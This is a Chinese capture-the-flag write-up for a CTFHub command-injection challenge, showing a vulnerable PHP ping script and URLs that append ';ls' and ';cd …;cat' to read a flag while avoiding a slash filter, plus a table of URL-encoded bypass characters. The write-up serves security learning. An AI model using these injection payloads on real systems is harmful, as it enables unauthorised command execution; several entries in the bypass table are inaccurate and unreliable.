CTFHub

2023-11-04

0x00 前言

        CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。

        

        

0x01 题目描述

过滤目录分隔符:

        这次过滤了目录分割符 / ,你能读到 flag 目录下的 flag 文件吗?

网页显示内容

        

        

0x02 解题过程

检查网页源代码发现这题如果用户输入 / \ 就不会执行,说明这题对斜杠做了过滤处理。这里使用 HackBar 进行测试,在 URL 后输入 /ip=127.0.0.1 对本地进行 ping 命令测试,发现可以正常回显。

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/\//", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

        

在 URL 后加入参数分隔符号,输入 ls 命令进行查看,同样发现一个提示 “ flag 在这” 。说明 flag 可能在这个文件中。

http://challenge-d6bf92a0dd3e5ca9.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls

        

继续使用参数分隔符号先使用 cd 命令打开文件,然后使用参数分隔符号加上 ls 命令查看文件中的内容。发现一个文件 flag_20743606830887.php ,可能含有 flag 。

http://challenge-d6bf92a0dd3e5ca9.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cd flag_is_here;ls

        

将 ls 命令替换成查看命令 cat 查看 flag_20743606830887.php 文件,在网页回显中发现一个空白回显。

http://challenge-d6bf92a0dd3e5ca9.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cd flag_is_here;cat flag_20743606830887.php

        

检查网页源代码,在空白回显对应的源代码中发现此题 flag 。

        

        

0x03 过滤目录分隔符

        过滤目录分隔符是对文件路径中的目录分隔符,如斜杠 / 或反斜杠 \ 过滤或去除。这样做可以避免一些安全问题,比如,路径遍历攻击以及路径注入攻击等。

        

常见的 URL 绕过字符使用方法:

名称 字符 URL编码 利用方法
换行符 %0a %0a 通过HTTP响应拆分攻击来插入恶意内容,或通过XSS注入恶意脚本
回车符 %0d %0d 类似于换行符,回车符也可用于HTTP响应拆分攻击和XSS注入攻击。
空格符 %20 %20 通过空字符来欺骗文件上传验证或绕过其他安全控制,导致文件上传漏洞或其他漏洞。
管道符 | %7c 通过URL中使用管道符来执行SQL注入攻击或命令注入攻击。
逻辑与操作符 && %26%26 通过URL中的逻辑与操作符来执行XSS攻击或代码注入攻击。
逻辑或操作符 || %7c%7c 通过URL中的逻辑或操作符来执行XSS攻击或SQL注入攻击。
小于号 < %3c 通过URL中的小于号来执行XSS攻击,注入恶意脚本。
大于号 > %3e 通过URL中的大于号来执行XSS攻击,注入恶意脚本。
双引号 " %22 通过URL中的双引号来执行XSS攻击,注入恶意脚本。
单引号

'

%27 通过URL中的单引号来执行SQL注入攻击,注入恶意SQL语句。
反斜杠 \ %5c 通过URL中的反斜杠来执行代码注入攻击。
正斜杠 / %2f 通过URL中的正斜杠来执行路径遍历攻击。
路径分隔符 ; %3b 用于分割路径,同时也可以用于注入恶意代码,比如SQL注入攻击。
查询符号 ? %3f 通过URL中的查询符号来执行SQL注入攻击。

        

        

0x04 总结

文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

CTFHub 的相关文章

  • 纠正装饰器模式的一个大缺点

    不久前 我在重构一些游戏战斗代码时决定尝试装饰器模式 战斗者可以拥有各种被动能力 也可能是不同类型的生物 我认为装饰器可以让我在运行时以各种组合添加行为 因此我不需要数百个子类 我几乎已经完成了 15 个左右的被动能力装饰器 在测试中我发现
  • WordPress 中的 add_action 函数

    嗯 我正在学习创建一个 WordPress 插件 我下载了一个并阅读了代码 然后我看到了这个 我假设 foo 是它将添加操作的标签 但是 array 到底是做什么的呢 add action foo array foo1 foo2 我在看ht
  • 通过 Ajax 加载内容时,WORDPRESS 音频播放器未加载,MediaElement.js 未应用

    我正在创建一个 WordPress 主题 当我使用 ajax 加载内容时 它不会将 MediaElements js 应用于我的音频播放器 因此不会显示音频 我认为这是因为 MediaElement js 加载了 wp footer 并且此
  • 单词之间没有空格的语言(例如亚洲语言)中的断词?

    我想让 MySQL 全文搜索适用于日语和中文文本以及任何其他语言 问题在于这些语言以及可能其他语言通常在单词之间没有空格 当您必须键入与文本中相同的句子时 搜索没有用 我不能只在每个字符之间添加空格 因为英语也必须有效 我想用 PHP 或
  • 如何使用 phpunit 运行单个测试方法?

    我正在努力运行一个名为testSaveAndDrop在文件中escalation EscalationGroupTest php with phpunit 我尝试了以下组合 phpunit EscalationGroupTest escal
  • 如何检查PHP变量是否包含非数字?

    我只是想知道检查 PHP 变量中是否有非数字的方法以及它是否也检测字符之间的空格 需要确保我的表单字段中没有添加任何奇怪的内容 提前致谢 如果您的意思是您只想要一个包含数字的值 那么您可以使用ctype digit http php net
  • FPDI/FPDF:水印和打印多页

    我修改了这个堆栈问题 当用户尝试下载文件时在 pdf 文件上应用水印 https stackoverflow com questions 3983432 applying watermarks on pdf files when users
  • 检查 PHP 中“@”字符后面的单词

    我现在正在制作一个新闻和评论系统 但是我已经在一个部分上停留了一段时间了 我希望用户能够在 Twitter 上引用其他玩家的风格 例如 用户名 该脚本看起来像这样 不是真正的 PHP 只是想象脚本 3 string I loved the
  • 如何使用 php 下载/打印页面的特定部分

    我有一个 HTML 页面如下 Lorem Ipsum is simply dummy text of the printing and typesetting industry Lorem Ipsum has been the indust
  • 学说迁移后备

    我们正在使用原则迁移 当迁移包含多个操作并且其中一个操作失败时 通常会出现问题 例如 如果迁移添加了 5 个外键 其中第 5 个失败 而字段长度不同 则修复字段错误并重新生成迁移不会not修复整个问题 而现在出现一个与 4 个密钥已存在有关
  • PHP preg_filter 返回意外的长值

    尝试在 Woocommerce 中删除标签并过滤值 但无法以正确的格式获取它 有东西有腥味 我正在使用WC gt cart gt get cart subtotal 来检索该值 在此示例中 我的值是 2 429kr 原始返回值是 span
  • PHP 中只保留数组的前 N ​​个元素? [复制]

    这个问题在这里已经有答案了 有没有办法只保留数组的前 N 个 例如 10 个 元素 我知道有array pop 但是有没有更好 更优雅的方法呢 您可以使用array slice http php net array slice or arr
  • PHP HEREDoc (EOF) 语法在 Sublime Text 3 上突出显示与正斜杠的差异

    我不熟悉 Sublime Text 3 如何使用语法突出显示 例如 如果它纯粹依赖于主题 或者它内置于主题运行的标准中 但就我而言 使用 PHP 的 HERE 文档和转发存在一些语法突出显示差异斜线 一旦出现正斜杠 ST3 就会认为以下所有
  • php 错误 fopen(): 文件名不能为空

    发送带有附件代码的电子邮件工作正常 最近我们已将文件传输到另一个托管服务器 idk 发生了什么 它显示以下错误 警告 fopen 第 106 行 home hugerecruitmetnt public html validatecva p
  • 一次播种多行 laravel 5

    我目前正在尝试为我的用户表播种 如果我像这样尝试 2 行 就会失败 如果我只使用单个数组而不是 users 数组内的 2 个数组来创建一些假数据 那么效果很好 我做错了什么 正确的方法是什么 class UserTableSeeder ex
  • php,统计字符并删除超过140个字符的内容

    我需要一个 PHP 函数来计算短语的字符数 如果短语长度超过 140 个字符 则此函数应删除所有其他字符并在短语末尾添加三个点 例如我们有 message I am what I am and you are what you are et
  • 内部 while 循环不工作

    这是我项目网页上的代码片段 这里我想显示用户选择的类别 然后想显示属于该类别的主题 在那里 用户可以拥有多个类别 这没有问题 我可以在第一个 while 循环中打印所有这些类别 问题是当我尝试打印主题时 结果只显示一行 但每个类别中有更多主
  • ini_set 'session.gc_maxlifetime' 为 1 天

    If I do ini set session gc maxlifetime 86400 这是否意味着用户可以将浏览器留在同一页面 非活动状态 最多 1 天 而不必担心会话被垃圾收集并被注销 如果服务器配置不支持此功能会发生什么 它会给我一
  • 如何使用 PHPExcel 库从 Excel 获取日期

    我正在尝试使用 PHPExcel 从 Excel 获取日期 但我没有得到日期 我得到的字符串值不是 1970 以来的秒数 我尝试过的代码是 InvDate trim excel gt getActiveSheet gt getCell B
  • 对具有混合类型值的数组进行数字排序

    我有一个像这样的混合数组 fruits array lemon Lemon 20 banana apple 121 40 50 然后申请sort 其功能如下 sort fruits SORT NUMERIC foreach fruits a

随机推荐